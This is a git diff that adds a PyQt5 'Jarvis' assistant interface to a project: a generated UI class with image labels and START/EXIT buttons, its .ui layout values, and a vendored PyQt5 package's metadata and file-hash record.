b/OTHERS/Jarvis/jarvis.zip differ diff --git a/OTHERS/Jarvis/jarvisUi.py b/OTHERS/Jarvis/jarvisUi.py new file mode 100644 index 00000000..642b6f0b --- /dev/null +++ b/OTHERS/Jarvis/jarvisUi.py @@ -0,0 +1,102 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file 'jarvisUi.ui' +# +# Created by: PyQt5 UI code generator 5.15.4 +# +# WARNING: Any manual changes made to this file will be lost when pyuic5 is +# run again. Do not edit this file unless you know what you are doing. + + +from PyQt5 import QtCore, QtGui, QtWidgets + + +class Ui_jarvisUi(object): + def setupUi(self, jarvisUi): + jarvisUi.setObjectName("jarvisUi") + jarvisUi.resize(997, 533) + self.centralwidget = QtWidgets.QWidget(jarvisUi) + self.centralwidget.setObjectName("centralwidget") + self.label = QtWidgets.QLabel(self.centralwidget) + self.label.setGeometry(QtCore.QRect(-170, -10, 1211, 541)) + self.label.setText("") + self.label.setPixmap(QtGui.QPixmap("Black_Template.jpg")) + self.label.setScaledContents(True) + self.label.setObjectName("label") + self.label_2 = QtWidgets.QLabel(self.centralwidget) + self.label_2.setGeometry(QtCore.QRect(630, 10, 371, 281)) + self.label_2.setText("") + self.label_2.setPixmap(QtGui.QPixmap("Iron_Template_1.gif")) + self.label_2.setScaledContents(True) + self.label_2.setObjectName("label_2") + self.label_3 = QtWidgets.QLabel(self.centralwidget) + self.label_3.setGeometry(QtCore.QRect(20, 180, 261, 181)) + self.label_3.setText("") + self.label_3.setPixmap(QtGui.QPixmap("jarvis_jj.gif")) + self.label_3.setScaledContents(True) + self.label_3.setObjectName("label_3") + self.label_4 = QtWidgets.QLabel(self.centralwidget) + self.label_4.setGeometry(QtCore.QRect(16, 12, 521, 181)) + self.label_4.setText("") + self.label_4.setPixmap(QtGui.QPixmap("initial.gif")) + self.label_4.setScaledContents(True) + self.label_4.setObjectName("label_4") + self.label_5 = QtWidgets.QLabel(self.centralwidget) + self.label_5.setGeometry(QtCore.QRect(20, 370, 281, 151)) + self.label_5.setText("") + self.label_5.setPixmap(QtGui.QPixmap("Health_Template.gif")) + self.label_5.setScaledContents(True) + self.label_5.setObjectName("label_5") + self.label_6 = QtWidgets.QLabel(self.centralwidget) + self.label_6.setGeometry(QtCore.QRect(730, 320, 251, 181)) + self.label_6.setText("") + self.label_6.setPixmap(QtGui.QPixmap("B.G_Template_1.gif")) + self.label_6.setScaledContents(True) + self.label_6.setObjectName("label_6") + self.pushButton = QtWidgets.QPushButton(self.centralwidget) + self.pushButton.setGeometry(QtCore.QRect(420, 360, 101, 51)) + self.pushButton.setStyleSheet("color: rgb(0, 0, 255);\n" +"background-color: rgb(85, 255, 255);\n" +"font: 14pt \"MS UI Gothic\";") + self.pushButton.setObjectName("pushButton") + self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) + self.pushButton_2.setGeometry(QtCore.QRect(530, 360, 101, 51)) + self.pushButton_2.setStyleSheet("color: rgb(0, 0, 255);\n" +"background-color: rgb(85, 255, 255);\n" +"font: 14pt \"MS UI Gothic\";\n" +"") + self.pushButton_2.setObjectName("pushButton_2") + self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) + self.textBrowser.setGeometry(QtCore.QRect(330, 470, 191, 51)) + self.textBrowser.setStyleSheet("background-color: transparent;\n" + "border-radius:none;\n" + "color:white;\n" + "font-size:20px;") + self.textBrowser.setObjectName("textBrowser") + self.textBrowser_2 = QtWidgets.QTextBrowser(self.centralwidget) + self.textBrowser_2.setGeometry(QtCore.QRect(520, 470, 191, 51)) + self.textBrowser_2.setStyleSheet("background-color: transparent;\n" + "border-radius:none;\n" + "color:white;\n" + "font-size:20px;") + self.textBrowser_2.setObjectName("textBrowser_2") + jarvisUi.setCentralWidget(self.centralwidget) + + self.retranslateUi(jarvisUi) + QtCore.QMetaObject.connectSlotsByName(jarvisUi) + + def retranslateUi(self, jarvisUi): + _translate = QtCore.QCoreApplication.translate + jarvisUi.setWindowTitle(_translate("jarvisUi", "MainWindow")) + self.pushButton.setText(_translate("jarvisUi", "START")) + self.pushButton_2.setText(_translate("jarvisUi", "EXIT")) + + +if __name__ == "__main__": + import sys + app = QtWidgets.QApplication(sys.argv) + jarvisUi = QtWidgets.QMainWindow() + ui = Ui_jarvisUi() + ui.setupUi(jarvisUi) + jarvisUi.show() + sys.exit(app.exec_()) diff --git a/OTHERS/Jarvis/jarvisUi.ui b/OTHERS/Jarvis/jarvisUi.ui new file mode 100644 index 00000000..5f51452c --- /dev/null +++ b/OTHERS/Jarvis/jarvisUi.ui @@ -0,0 +1,198 @@ + + + jarvisUi + + + + 0 + 0 + 997 + 533 + + + + MainWindow + + + + + + -170 + -10 + 1211 + 541 + + + + + + + Black_Template.jpg + + + true + + + + + + 630 + 10 + 371 + 281 + + + + + + + Iron_Template_1.gif + + + true + + + + + + 20 + 180 + 261 + 181 + + + + + + + jarvis_jj.gif + + + true + + + + + + 16 + 12 + 521 + 181 + + + + + + + initial.gif + + + true + + + + + + 20 + 370 + 281 + 151 + + + + + + + Health_Template.gif + + + true + + + + + + 730 + 320 + 251 + 181 + + + + + + + B.G_Template_1.gif + + + true + + + + + + 420 + 360 + 101 + 51 + + + + color: rgb(0, 0, 255); +background-color: rgb(85, 255, 255); +font: 14pt "MS UI Gothic"; + + + START + + + + + + 530 + 360 + 101 + 51 + + + + color: rgb(0, 0, 255); +background-color: rgb(85, 255, 255); +font: 14pt "MS UI Gothic"; + + + + EXIT + + + + + + 330 + 470 + 191 + 51 + + + + background-color: transparent; + + + + + + 520 + 470 + 191 + 51 + + + + background-color: transparent; + + + + + + + diff --git a/OTHERS/Jarvis/jarvis_jj.gif b/OTHERS/Jarvis/jarvis_jj.gif new file mode 100644 index 00000000..33401916 Binary files /dev/null and b/OTHERS/Jarvis/jarvis_jj.gif differ diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/INSTALLER b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/METADATA b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/METADATA new file mode 100644 index 00000000..9046b895 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/METADATA @@ -0,0 +1,65 @@ +Metadata-Version: 2.1 +Name: PyQt5 +Version: 5.15.6 +Requires-Python: >=3.6 +Summary: Python bindings for the Qt cross platform application toolkit +Home-Page: https://www.riverbankcomputing.com/software/pyqt/ +Author: Riverbank Computing Limited +Author-Email: info@riverbankcomputing.com +License: GPL v3 +Requires-Dist: PyQt5-sip (>=12.8, <13) +Requires-Dist: PyQt5-Qt5 (>=5.15.2) + +PyQt5 - Comprehensive Python Bindings for Qt v5 +=============================================== + +Qt is set of cross-platform C++ libraries that implement high-level APIs for +accessing many aspects of modern desktop and mobile systems. These include +location and positioning services, multimedia, NFC and Bluetooth connectivity, +a Chromium based web browser, as well as traditional UI development. + +PyQt5 is a comprehensive set of Python bindings for Qt v5. It is implemented +as more than 35 extension modules and enables Python to be used as an +alternative application development language to C++ on all supported platforms +including iOS and Android. + +PyQt5 may also be embedded in C++ based applications to allow users of those +applications to configure or enhance the functionality of those applications. + + +Author +------ + +PyQt5 is copyright (c) Riverbank Computing Limited. Its homepage is +https://www.riverbankcomputing.com/software/pyqt/. + +Support may be obtained from the PyQt mailing list at +https://www.riverbankcomputing.com/mailman/listinfo/pyqt/. + + +License +------- + +PyQt5 is released under the GPL v3 license and under a commercial license that +allows for the development of proprietary applications. + + +Documentation +------------- + +The documentation for the latest release can be found +`here `__. + + +Installation +------------ + +The GPL version of PyQt5 can be installed from PyPI:: + + pip install PyQt5 + +``pip`` will also build and install the bindings from the sdist package but +Qt's ``qmake`` tool must be on ``PATH``. + +The ``sip-install`` tool will also install the bindings from the sdist package +but will allow you to configure many aspects of the installation. diff --git a/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/RECORD b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/RECORD new file mode 100644 index 00000000..b0c4a48d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5-5.15.6.dist-info/RECORD @@ -0,0 +1,987 @@ +../../bin/pylupdate5.exe,sha256=tcpdqPOyrI-30uwVlokFs7I3C52zVFEm3XJbX4BaT98,106329 +../../bin/pyrcc5.exe,sha256=4oJhB5lGxPhjN43gk74ohZ-sj30zsg0VsOtxdM2LmGQ,106325 +../../bin/pyuic5.exe,sha256=umgDdaXJNpsiMRlWLr9YgXnHkXbPskYdYmPb7x_RGdc,106324 +PyQt5-5.15.6.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +PyQt5-5.15.6.dist-info/METADATA,sha256=AidiD9POqp4uR806NRnG4dLxKxXe2bizx-djI1tKIvk,2175 +PyQt5-5.15.6.dist-info/RECORD,, +PyQt5-5.15.6.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +PyQt5-5.15.6.dist-info/WHEEL,sha256=9iIqRJHCeYrFi6y778MPZ90xOvfYPKfUpAR2Dr4-xlY,98 +PyQt5-5.15.6.dist-info/entry_points.txt,sha256=Qif0K5dtSx55Jy85ruKNbDlFdMdcekmMavb6lQz49g0,116 +PyQt5/QAxContainer.pyd,sha256=_kA_JqvaF4Hjz_56cxRmoajgAEdsSNSgdmAmr2ORRKQ,275456 +PyQt5/QAxContainer.pyi,sha256=Aok42_YeHb890tvoTWrrJ75_mgVZM3Vggw8FtYjDkP0,4800 +PyQt5/Qt.pyd,sha256=euPHGaIVwfkAqXxS6CjAmo4zw8ilqFML4b2PWz1Sn-4,11776 +PyQt5/Qt5/qsci/api/python/PyQt5.api,sha256=gHeZuY4O6afx1GueDN7LqpNPDf0vErVZEEcP27u-9rU,1791066 +PyQt5/QtBluetooth.pyd,sha256=l3UEITpk_4rbam_mdILmAYiYF5_tZ8H9EgReSLaxoyE,336384 +PyQt5/QtBluetooth.pyi,sha256=84shk9ebtrhAyS3WsOkIYVkv0RToD9rapdBBQufR5a0,76450 +PyQt5/QtCore.pyd,sha256=FN0O6-Nz070jISKDbVOUresa0QRI0W3Vuvyd5OOwxcI,2424832 +PyQt5/QtCore.pyi,sha256=G7ZBXdAaqUPVSUHzYVPtgLGQLBPrf4GnBOQ8IRzzQuk,424680 +PyQt5/QtDBus.pyd,sha256=IHGpPtWF11ucGZnUXFiaOUEK9vjuQIboO2tEQH1Twsk,172032 +PyQt5/QtDBus.pyi,sha256=zUyQN-Mr-e4IYTZ3xciaMR6HCskTfHkf9JwQ96f_cHg,23797 +PyQt5/QtDesigner.pyd,sha256=4mptTIx5nC6jk0x_qOwO45XGC2PEcHR1JK7AEx8NYIY,308224 +PyQt5/QtDesigner.pyi,sha256=Dx56qM-cQ_DfNenr0_CCg9iXCXqBby4f5KhyaIJRztE,22954 +PyQt5/QtGui.pyd,sha256=BnLg4_NtGyaqdB9cOEGTYbSvxV89a4jDf4WSiAarKZI,2438144 +PyQt5/QtGui.pyi,sha256=5W_d9mF6ew80hwdziXB-nrHb6RCDItjkAaBWkWhxojU,434552 +PyQt5/QtHelp.pyd,sha256=e8Fgdx65OyvV0_OHYmlf9R7-jycdBCJjOOeZHFutIxk,195584 +PyQt5/QtHelp.pyi,sha256=E9Xm6SFqOFql9kpKECn1IiSyABfEQ5OKEXVEWqY5s6s,13352 +PyQt5/QtLocation.pyd,sha256=XUkgHawdNlfqTgAhbWKOfVP6fr-THFHPSkTw_Pg2S6c,436736 +PyQt5/QtLocation.pyi,sha256=nMPuSYRRYydkMdBxItXAkM_ViQUxzBFQRoFee7aiPLY,55314 +PyQt5/QtMultimedia.pyd,sha256=0SDSljgrekvG-ugkt77d3bjhVDeUyhDBp5RbM9TqhfE,903168 +PyQt5/QtMultimedia.pyi,sha256=blT86oude2Y47L9kppFuNr2gMgEDfVzhfHjsKHb1rdA,119301 +PyQt5/QtMultimediaWidgets.pyd,sha256=w3i9yNCYqQpFH8Ziz6icK_gjYa30bNRXC0i1wy8iwDU,140800 +PyQt5/QtMultimediaWidgets.pyi,sha256=xaWc39aRu6Iig1r_Hoyrcanndro_D4uCdqXR5WC34uw,5938 +PyQt5/QtNetwork.pyd,sha256=NxAnpjSrYaBs2qeu8cbIBm7AhneMPlleLXicf2IsrNo,689152 +PyQt5/QtNetwork.pyi,sha256=jUvXmMFEPWfVjQ28bPlBUF-Lvn1VI2D86T7u-TAplU0,107892 +PyQt5/QtNfc.pyd,sha256=fsQ-wvW_CJJhHMRwFU6j_Wl359KuxR_3S7FLti4igYU,138752 +PyQt5/QtNfc.pyi,sha256=f-AkrkA4dxwmhB4ji3-7vdOkl8a40ZyTMgrFerdrfcs,19752 +PyQt5/QtOpenGL.pyd,sha256=FEpmJ7ztuCdvt5HNGHTIUDwgyGBKYsuNhzQAwZmI1Wg,123904 +PyQt5/QtOpenGL.pyi,sha256=bNxzfKtN3qmh-qX6MgWubHPMeojuZF5o7nHlY1aGiOY,16231 +PyQt5/QtPositioning.pyd,sha256=cVN_o4Tzr-F9XJAZv3zQJUf3QDYKez9LY8Hp6y9w_VI,178176 +PyQt5/QtPositioning.pyi,sha256=8uT5BgIJnG_gK52DGeLxdVe-Mr7wUzprfbjlqncVWuc,24881 +PyQt5/QtPrintSupport.pyd,sha256=CLA_IJISPTiY1QSRRCH4bzDY9x2eF_pHH2G_ejl4Wnc,253440 +PyQt5/QtPrintSupport.pyi,sha256=IdYG1k0jpEYhCjloFo2W2aK59MgkxhRPer9K6Llfr30,20672 +PyQt5/QtQml.pyd,sha256=0OeZHIXDnt4k-EQZbtSBsYIAealRYxFUBk2om6tQrPg,462848 +PyQt5/QtQml.pyi,sha256=Ccwtc1fkArP5twEmdTX1DgKejpO7i7Y_I2uXM5OqM0Q,29332 +PyQt5/QtQuick.pyd,sha256=IFcB3d7DHNIaifSTxAi13QIrkhtiTC59OFiR3GYGRXo,916992 +PyQt5/QtQuick.pyi,sha256=mBr_p1Mch7oPilgsh_JeQkiNv_viT8RcjqTYe-YHZHo,73480 +PyQt5/QtQuick3D.pyd,sha256=4BdX4Vb6KMLxq0pJhVBHFS-o-jKNEMtvcGDvwkkRRrg,37888 +PyQt5/QtQuick3D.pyi,sha256=7wkgVOTv0SlAQgWhnGzHg_aR77YYy0TEMCPqFrhxhwY,5562 +PyQt5/QtQuickWidgets.pyd,sha256=vWjcwuVCWCm3NAF6kQ8rrAs2XRdV-swujX-K6RQN8ew,61952 +PyQt5/QtQuickWidgets.pyi,sha256=lOLTrL7liVsH0Q1jm7NFBB8HhmBDvIuQexnC7zUpTs8,4812 +PyQt5/QtRemoteObjects.pyd,sha256=SSBXBIpUQDIanrcj1vwisTnphFr98AffutKOmQ2gmRU,92672 +PyQt5/QtRemoteObjects.pyi,sha256=7uDPm8uxotJ3ma7oiRF0AjRS-H6itpaoMF36UR9UcVk,9419 +PyQt5/QtSensors.pyd,sha256=LY3GWFUgZslaYKfpbgDlUg92wz6IiqLjCUi7jwR4r6s,249344 +PyQt5/QtSensors.pyi,sha256=vWLwpPRv_97Zgi9HCrHqBe7IE5Awl06Kuy-T3hSWSls,21360 +PyQt5/QtSerialPort.pyd,sha256=R3paxgem2kXX_zuYoRP2Ebx090yOgwSh_zjakyZh4Qg,73216 +PyQt5/QtSerialPort.pyi,sha256=LaEbHOmtyj7PLWbmM-hkBrP5SZnZTivoyueUhkZS8kA,11468 +PyQt5/QtSql.pyd,sha256=TMBfEHUsYMFgdfRHa40STZJg0Hm3qfPSkSsUb-GPtbc,309760 +PyQt5/QtSql.pyi,sha256=wouG0ybeOL07Uq_cbHQjgTnJIs_CDactos4ICB_Fp4k,29881 +PyQt5/QtSvg.pyd,sha256=uHu4ZOWfSpRadjBGcVjS-gIMPNAuos7FQDaNMcWnXyE,115712 +PyQt5/QtSvg.pyi,sha256=thR8RB7ttqcB_2K21rcPZNfOtnxFnXqQShtzIaxrQdw,6285 +PyQt5/QtTest.pyd,sha256=BW1ZPuLoUFEIlllyRPUgXyM-23s7tknbM-xK_u8l6Fs,83968 +PyQt5/QtTest.pyi,sha256=d4N3MsYHpCdNH-JgRgqrBC8c59m-u6Voi4j8ga-OC90,11447 +PyQt5/QtTextToSpeech.pyd,sha256=FfToWXTP79gxm_L26uqxix5j739tU-j49j0ckZ-XBWM,39936 +PyQt5/QtTextToSpeech.pyi,sha256=OCmAKGrYL7l27khavjwbJsdh-D4EmdJ4scuJReunBDs,3887 +PyQt5/QtWebChannel.pyd,sha256=Cub-3v1moPAaBeaEE7rGIs7RqVd3TZsEM4wKTj-ARS4,36864 +PyQt5/QtWebChannel.pyi,sha256=cUkBWmcWvg7iEmh2MB63LLQoPACMmUg-5ieEiCqxNdM,2577 +PyQt5/QtWebSockets.pyd,sha256=K4iCVH2YxKQLA0YpMoAjyRK8pCD8UAq8YVaxQhZNarY,76800 +PyQt5/QtWebSockets.pyi,sha256=Czl4qBgmR1MbEillwiulgdSdbNefM4uhGOO-ls4ly-I,10650 +PyQt5/QtWidgets.pyd,sha256=in7iZtGssy4w5FytMDNoHr2hO6dQB_XmSyN-SyiNfa8,5020160 +PyQt5/QtWidgets.pyi,sha256=5Ly7vB-S7VfEZhLTt_FFOIK8N4ASWMVUpsoSI2tt8f8,521870 +PyQt5/QtWinExtras.pyd,sha256=D9mm1pAoAHUsB6WtDiiKouOrqx9_j-ZcU_VZQU-92LE,109056 +PyQt5/QtWinExtras.pyi,sha256=PCbz2UJ6eXQ3wfrJL--7LvTiFBaV9P5pIwgwiepTD_s,13703 +PyQt5/QtXml.pyd,sha256=JeyhjiTS1gfvtw8x6-RP-aE6L3XJeifYUtLLt6VtJF8,216064 +PyQt5/QtXml.pyi,sha256=CshkEImrTQGfWWKHaw8RzJLhOm6AUdEecry_81CK5Cg,28419 +PyQt5/QtXmlPatterns.pyd,sha256=JvXJNcfYBoIUKN9e0s167UGK2VaLcXY_M35jYNu4u7s,132608 +PyQt5/QtXmlPatterns.pyi,sha256=hGsCTY8n-Pppc2lEjIbrNwCjRwChFjdJwGzvpLOiU94,15573 +PyQt5/_QOpenGLFunctions_2_0.pyd,sha256=lCzKLCdysa5XhlV00IbjI17CMLGIDArzq16177QBy3k,240640 +PyQt5/_QOpenGLFunctions_2_1.pyd,sha256=G46VH0Pw-wAx7P_rd0I9gn0-Yw6qsWmaVUDlRk9yZWI,242688 +PyQt5/_QOpenGLFunctions_4_1_Core.pyd,sha256=eteKTi5I2FBqtn8daeI8i4rPOErA2KpXikOUnykV2oU,128512 +PyQt5/__init__.py,sha256=4gsunB-0MdECmpLHiOgfL4sV3vrGKja--IpEaG9VXj0,1691 +PyQt5/__pycache__/__init__.cpython-37.pyc,, +PyQt5/__pycache__/pylupdate_main.cpython-37.pyc,, +PyQt5/__pycache__/pyrcc_main.cpython-37.pyc,, +PyQt5/bindings/QAxContainer/QAxContainer.toml,sha256=hFLzF2Q0A-D8F1y6o-EiZ4lIgjufhi8A77GIjGeKFIY,186 +PyQt5/bindings/QAxContainer/QAxContainermod.sip,sha256=l71SYftW3BYSrGxgQ_sQHAB-ydzTyUYEdH_uQic4-9M,2010 +PyQt5/bindings/QAxContainer/qaxbase.sip,sha256=6LC3S8oi5iB9yEBrPBC5lBs_FtmwMGt9CkVtSfTWeKY,5361 +PyQt5/bindings/QAxContainer/qaxobject.sip,sha256=0ygBwNwtT1ViFBkNL1Am0s72u3Mf9cX7aGPFCAuIv30,1951 +PyQt5/bindings/QAxContainer/qaxwidget.sip,sha256=7Cry44y8NoDCgy_VcCi-fG9Y_stF74p6n8KhKgql7rc,1786 +PyQt5/bindings/QtBluetooth/QtBluetooth.toml,sha256=r04PQt9rSKLnddScCI_wSxfGqa_fayCpoCq9xUyRhGY,185 +PyQt5/bindings/QtBluetooth/QtBluetoothmod.sip,sha256=j20toMKWHYAFrYr5rLJv5I6DOoK8kq-ZMdLA-iZP11w,2883 +PyQt5/bindings/QtBluetooth/qbluetooth.sip,sha256=oHYVeV-rQVbqRWnFEYCekCLGfRCa124QyD9z6ztf8zM,1881 +PyQt5/bindings/QtBluetooth/qbluetoothaddress.sip,sha256=KRijrRpsWfu-kA2AmKJB5HO5Ondt3XRNUkz-VQMWqrU,1611 +PyQt5/bindings/QtBluetooth/qbluetoothdevicediscoveryagent.sip,sha256=21Rc7xR0XBF7qYKDwTwXg4eoTwxykEkxGpo8d9l6FKw,3372 +PyQt5/bindings/QtBluetooth/qbluetoothdeviceinfo.sip,sha256=zDbu4fnK3gIb-3Zc-eaLk7SPWvaoR9Ae7qQpUh_lI28,7390 +PyQt5/bindings/QtBluetooth/qbluetoothhostinfo.sip,sha256=sQioikE1iENFChui0jovwrWbJ_lD-q_wSBHC_2iD3LM,1558 +PyQt5/bindings/QtBluetooth/qbluetoothlocaldevice.sip,sha256=4-afwnugJZTVmvGv16X64el6U-HtuAgqB_cC4yZUhTE,2999 +PyQt5/bindings/QtBluetooth/qbluetoothserver.sip,sha256=iIvSONJ4ZNoQuQrPSP8FqaL56n1dm9qpTmu9buUfl5U,3721 +PyQt5/bindings/QtBluetooth/qbluetoothservicediscoveryagent.sip,sha256=2plhyIsv5z5BVaLYmZd_wnnrLkDcXKzzY9n8ocb0QNg,2622 +PyQt5/bindings/QtBluetooth/qbluetoothserviceinfo.sip,sha256=b7Jbz2lEx5Trq0-jnDUFA8WXdEAf6Ggi6ufgij0mwHM,3412 +PyQt5/bindings/QtBluetooth/qbluetoothsocket.sip,sha256=ctdLHc91QFWPw8a3yhenu2UN7tVxPayYjuxWfTpa93s,5191 +PyQt5/bindings/QtBluetooth/qbluetoothtransfermanager.sip,sha256=eXyo0AdzC3p6PhrN3MaaQ4HYuCfHS7RY-k1wCyvRfJA,1432 +PyQt5/bindings/QtBluetooth/qbluetoothtransferreply.sip,sha256=v7IFdBC48U6r7ugp5ZEOOeNWRF-uItRBvLsaJq3LF3A,2276 +PyQt5/bindings/QtBluetooth/qbluetoothtransferrequest.sip,sha256=LZTK3yfGcOBYCaJ24EnK_7DrXj5jvpDZ6MZ8akOO9r4,1886 +PyQt5/bindings/QtBluetooth/qbluetoothuuid.sip,sha256=HH6ZXEi3i1aott21Nn4MoOyA3Nbt-1IAdAg7QLg7-AE,11907 +PyQt5/bindings/QtBluetooth/qlowenergyadvertisingdata.sip,sha256=5EQ4iW1f-ZfmLEE2RLKXQTqnDiWH9NIUVI1m8l6UHmE,2400 +PyQt5/bindings/QtBluetooth/qlowenergyadvertisingparameters.sip,sha256=vEK8DSHD6cjVIaUlMRdoam5W9HwjHbOFTwwdH5Xrd0E,2930 +PyQt5/bindings/QtBluetooth/qlowenergycharacteristic.sip,sha256=kgaAkvTbYixWdtK1R-mQa7hHAgp0xfdzQLcjgUVihE8,2224 +PyQt5/bindings/QtBluetooth/qlowenergycharacteristicdata.sip,sha256=qpcnry8yj6yvbhMsPJmEaj59kWRBSH5dApiTrOI7aDM,2533 +PyQt5/bindings/QtBluetooth/qlowenergyconnectionparameters.sip,sha256=qI3jKxeWwI2UcIdTXcjmLXwh32a3Nno2DgQBIa_wY_4,1894 +PyQt5/bindings/QtBluetooth/qlowenergycontroller.sip,sha256=yvpwkavLpbu94yai0C2mTsZ41O7KUtx8rH-D8sHbnPs,4733 +PyQt5/bindings/QtBluetooth/qlowenergydescriptor.sip,sha256=VogWscuueAIcwDBKsFYRT4Xbv1toRVC5Eaa7LdnC6Tg,1572 +PyQt5/bindings/QtBluetooth/qlowenergydescriptordata.sip,sha256=ig_Gf9-b7w-FF2fIKdi9LZHB-dNVO53hBb16z2tZ4S0,2257 +PyQt5/bindings/QtBluetooth/qlowenergyservice.sip,sha256=KHEkEdGpXp-tjylVwSYYAW4a0Yo3lTj_hmss9scH-hc,3855 +PyQt5/bindings/QtBluetooth/qlowenergyservicedata.sip,sha256=sY1D29yGSTJPgI_RfjR7HVPHippADrqRPEzC8NDt4Sc,2263 +PyQt5/bindings/QtBluetooth/qpybluetooth_qlist.sip,sha256=HuSZNzqryajpbCAVBZh2BPGRBYBaOR7lUB4d-zVLQKA,5611 +PyQt5/bindings/QtBluetooth/qpybluetooth_quint128.sip,sha256=I73mJPxvt9RwZnNiG1Ie6UjMIdUEhVu-O1mYHdbaFjQ,3041 +PyQt5/bindings/QtCore/QtCore.toml,sha256=YfpFyxCOoAFuspIFYKo1uc3QSURN0B_JDO1k1C4-4BI,180 +PyQt5/bindings/QtCore/QtCoremod.sip,sha256=c5AQNTw9buS0rlyrBnPPGWNXdPWggjnBERxYQjJQlR4,7142 +PyQt5/bindings/QtCore/qabstractanimation.sip,sha256=OAUpuNiky-3EA4pjQvGUz27XUV42UmsmDYHxPgj1kak,2639 +PyQt5/bindings/QtCore/qabstracteventdispatcher.sip,sha256=ZR-s4iJQR4a4WlZ4Tl9ZdMrAfTebIoqr3Oud5VjAxXE,2911 +PyQt5/bindings/QtCore/qabstractitemmodel.sip,sha256=-rhcwE_JChdwVXygLGgJLiLbOve9Gi7j5gUuyMRJQ6U,14579 +PyQt5/bindings/QtCore/qabstractnativeeventfilter.sip,sha256=ytO818DkCPrmmbyS8FnW9QXensaeYTPwRHNuIoP4kfU,1362 +PyQt5/bindings/QtCore/qabstractproxymodel.sip,sha256=Yt1AGMeGYURxss8YRKnkamyZPJQ95kKQsQbVzqC2TSc,3733 +PyQt5/bindings/QtCore/qabstractstate.sip,sha256=7XRu_PzVQZgbs3T8pSH3sHrQ63sRKVOujmM-fXCq1N8,1542 +PyQt5/bindings/QtCore/qabstracttransition.sip,sha256=V89nHP_-mnIc5AmYJTt11ex7u-HPnAkgi2YCZlA3Az0,3602 +PyQt5/bindings/QtCore/qanimationgroup.sip,sha256=6CYtDPptazqsvNis_K7FfO8PyS_AYEkyf5kdaWUVy9g,1692 +PyQt5/bindings/QtCore/qbasictimer.sip,sha256=032yGYZKBIlYbzw-KnTDmtf9C6aoGO_04CoqNb5f39A,1417 +PyQt5/bindings/QtCore/qbitarray.sip,sha256=pQ4pV_kNlkZ1V9QN5JO05LireZGa-YxpDf-UsMCbURc,3106 +PyQt5/bindings/QtCore/qbuffer.sip,sha256=RcN4fh22qfNok2LHQ87OEpOPthGFvXbVTqvt_17zEdk,3098 +PyQt5/bindings/QtCore/qbytearray.sip,sha256=ArGZq7iEeQ3NJSDwHAZC675DEdnJtVEJj_S3d_owTyc,17417 +PyQt5/bindings/QtCore/qbytearraymatcher.sip,sha256=KQkvW6rEAYCeRgSu3iPvyVpUHWNy0clEo5T4tuIwG0I,1387 +PyQt5/bindings/QtCore/qcalendar.sip,sha256=TYY9HAwM8la4ey_U-07nFsyaKU45wFMn6rFKo73tdE8,3571 +PyQt5/bindings/QtCore/qcborcommon.sip,sha256=jwZZHTnHh-H3ikEwPpnSVvozW3OPM3FTLq4glNYWaKY,2490 +PyQt5/bindings/QtCore/qcborstream.sip,sha256=WMpV8CNZVXKcrXXnJm9ZoI8U8MFMLrhbqAmnnC0L4VA,6687 +PyQt5/bindings/QtCore/qchar.sip,sha256=2RFAU6oyitnOSX-oowvIvgIOdsZf3eqFn--Q3mnfOIE,1637 +PyQt5/bindings/QtCore/qcollator.sip,sha256=mww_tFl6Umy2PDeoU0WDzzJ8-SIARgtLEZOpYpqYGmc,2126 +PyQt5/bindings/QtCore/qcommandlineoption.sip,sha256=U9_RKtnnzAp6m6-XhzgzaxlRL7DC7xkYAwYZqBvTf7E,3090 +PyQt5/bindings/QtCore/qcommandlineparser.sip,sha256=yGgSWjkeUqc70jcaV45r3ZyRSBQUzzFQTBPbqwogNoo,3024 +PyQt5/bindings/QtCore/qconcatenatetablesproxymodel.sip,sha256=JjuW5_ilsYL0vQ2hHBZzMHbF7dd7M5iW6ck53bHmVvI,4272 +PyQt5/bindings/QtCore/qcoreapplication.sip,sha256=D_x4-O1Gs2E9x0wsvfwn05CltTZAi_pozC9ZX8HamR8,11408 +PyQt5/bindings/QtCore/qcoreevent.sip,sha256=QT6BDrKD6Ri2MMtLRGFMCHxtPbTm60P3lutPncU0jGA,6702 +PyQt5/bindings/QtCore/qcryptographichash.sip,sha256=TEL1kwTX4yUHAwj-sRAvlGCdkYS4y_N2hZihgApOcKE,2127 +PyQt5/bindings/QtCore/qdatastream.sip,sha256=p2PKPYlIlyX7W4uqAsg3sWKbEm7R8gQagdsUNpQrrkU,10188 +PyQt5/bindings/QtCore/qdatetime.sip,sha256=qyfRl_jFlPFuLrKUP0WdgFwN6pvhhC9tSi04C6Hiids,20512 +PyQt5/bindings/QtCore/qdeadlinetimer.sip,sha256=2RSijLZcxj16WQ-U4_qTqqHV3WPos4lue11mfi1gzNU,3123 +PyQt5/bindings/QtCore/qdir.sip,sha256=3DWtxJyC4Q-gdgw7OmJhBLZWjSZHyyiTa9Q5UUBJwCQ,6420 +PyQt5/bindings/QtCore/qdiriterator.sip,sha256=gIOB328WGaXb58oLnz2xmIIcfsKuzsrXzfHlsFLBX6E,2109 +PyQt5/bindings/QtCore/qeasingcurve.sip,sha256=xQfwtnCj1GRMeuVS-1pkjOxGRtsMYKRRPW0cRk9-2Y8,6957 +PyQt5/bindings/QtCore/qelapsedtimer.sip,sha256=n0zeJ_tzxJxWElsFIKBijwtimozn7OWOfe4fWD3c6J8,1886 +PyQt5/bindings/QtCore/qeventloop.sip,sha256=xfmsNs4CAN8qWvxsHUTucctR4kMRdibep4RU-j92-bM,2586 